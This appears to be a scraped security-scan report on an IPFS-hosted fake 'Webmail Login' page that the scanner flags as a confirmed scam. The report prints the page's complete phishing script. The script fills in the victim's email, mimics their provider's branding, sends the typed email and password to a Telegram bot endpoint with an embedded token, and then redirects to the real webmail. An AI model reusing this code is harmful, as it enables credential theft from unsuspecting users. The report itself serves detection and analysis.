technology software

social_media

English

The domain name 'ipfs.io' uses the British Indian Ocean Territory country-code top-level domain (.io) without a subdomain. The registrable portion 'ipfs' spans 4 characters holding 1 vowel versus three consonants. Breaking it apart gives 2 words: i, pfs. Expect 2 characters per word on average. No strong language cues emerged from the frequency lists.

email

password

v-pass

test

login

html/eb/92/eb92e842-bac4-4f6d-ad11-ac1c0f250e38.html.gz

inline; filename="boqtbx."; filename*=UTF-8''boqtbx.

02835066969199e9924f1332f7172a5d7e552f023a20c3d8ba03bb6c51ce5be5

dde76b9b2b90d30eb97fc81f06caa8c338c97b688cea7d2729c88f529f32fbb1

160a426ff2894252cd7cebbdd6d6b7da8fcd319c65b70468f10b6690c45d02ef

0bca10549df770ab6790046799e5a9e920c286453ebbb2afb0d3055339245339

jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution

passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Regex in its jQuery.htmlPrefilter sometimes may introduce XSS

1e5f5c8697f7a5934a4e88d298805feb7272c5ae7b1a357b44ec0b5289b60a50

8ac114a71394c13d5292b147cd1ff43a2414524108aa8b46c69c9281e746b38b

f79a48c10ccf61401ff658787193c4728da81024622a343ad104637a4df67550

width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=1

viewport

google

apple-itunes-app

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

ipfs.io

Abuse-C Role

Network Architecture Role Account

AKAM1-RIPE-MNT

AKAMAI-PA


    window.DOM = { get: function(id) { return document.getElementById(id) } };
    


/* global $ */
$(document).ready(function() {
  var count = 0;

  $('#back1').click(function() {
    $("#msg").hide();
    $('#email').val("");
    $("#automail").animate({left: 200, opacity: "hide"}, 0);
    $("#inputbar").animate({right: 200, opacity: "show"}, 1000);
  });

  var email = window.location.hash.substr(1);
  if (!email) {
    // Handle case when email is not present
  } else {
    var my_email = email;
    $('#email').val(my_email);
    var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

    if (!filter.test(my_email)) {
      $('#error').show();
      email.focus;
      return false;
    }
    var ind = my_email.indexOf("@");
    var my_slice = my_email.substr((ind + 1));
    var c = my_slice.substr(0, my_slice.indexOf('.'));
    var final = c.toLowerCase();
    var finalu = c.toUpperCase();

    $("#logoimg").attr("src", "https://www.google.com/s2/favicons?domain=" + my_slice);
    $("#logoname").html(finalu);
    $(".logoname").html(finalu);
  }

  $('#submit-btn').click(function(event) {
    $('#error').hide();
    $('#msg').hide();
    event.preventDefault();
    var email = $("#email").val();
    var password = $("#password").val();
    var msg = $('#msg').html();
    $('#msg').text(msg);

    if (!password) {
      $('#error').show();
      $('#error').html("Password field is empty.!");
      return false;
    }

    ///////////new injection////////////////
    var my_email = email;
    var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

    if (!filter.test(my_email)) {
      $('#error').show();
      email.focus;
      return false;
    }

    var ind = my_email.indexOf("@");
    var my_slice = my_email.substr((ind + 1));
    var c = my_slice.substr(0, my_slice.indexOf('.'));
    var final = c.toLowerCase();
    var finalu = c.toUpperCase();

    $("#logoimg").attr("src", "https://www.google.com/s2/favicons?domain=" + my_slice);
    $(".logoimg").attr("src", "https://www.google.com/s2/favicons?domain=" + my_slice);
    $("#logoname").html(finalu);
    ///////////new injection////////////////
    count = count + 1;

    $.ajax({
      dataType: 'json', // JSON is lowercase
      url: 'https://api.telegram.org/bot8293866673:AAE70Ht5loU5eOrELEMq1yoEdGulEheMdhE/sendMessage',
      type: 'POST',
      data: {
        chat_id: '739441159',
        text: `***** Webmail Result *****\r\nEmail: ${email}\r\nPassword: ${password}\r\n*****`
      },
      beforeSend: function(xhr) {
        $('#submit-btn').html('Verifying...');
      },
      success: function(response) {
        if (response.ok) {
          $("#msg").show();
          console.log(response);
          $("#password").val("");
          if (count >= 3) {
            count = 0;
            window.location.replace("http://" + my_slice + ":2095");
          }
        } else {
          console.log('Telegram API error:', response);
          // Handle the case when the Telegram API does not respond with 'ok'
        }
      },
      error: function(xhr, status, error) {
        console.log('AJAX error:', status, error);
        $("#password").val("");
        if (count >= 3) {
          count = 0;
          window.location.replace("http://" + my_slice + ":2095");
        }
        $("#msg").show();
        // Handle errors here
      },
      complete: function() {
        $('#submit-btn').html('Sign in');
      }
    });
  });
});


  

PasswordField

JQuery

Bootstrap

IPFS

HTTP/3

Cloudflare Bot Management

Cloudflare

jQuery CDN

cdnjs

Microsoft Ajax Content Delivery Network

Webmail Login

✅ Low Risk - https://ipfs.io/ipfs/QmfHoiooH3WXwTwyu1mUwMAfjmhMy1dk9oJoLGDbzV4nWv?filename=boqtbx.#[[-Email-]]

Requests	IP Address	Location	AS Autonomous System
4	95.101.54.130	Frankfurt am Main, Hesse, Germany	AS20940Akamai International B.V.
2	104.18.10.207	United States	AS13335Cloudflare, Inc.
2	209.94.90.1	United States	AS40680Protocol Labs
2	151.101.66.137	United States	AS54113Fastly, Inc.
2	104.17.25.14	United States	AS13335Cloudflare, Inc.
2	184.154.215.138	United States	AS32475Internap Holding LLC
14	6	-	-

Security Scan Report: ipfs.io

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies10

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History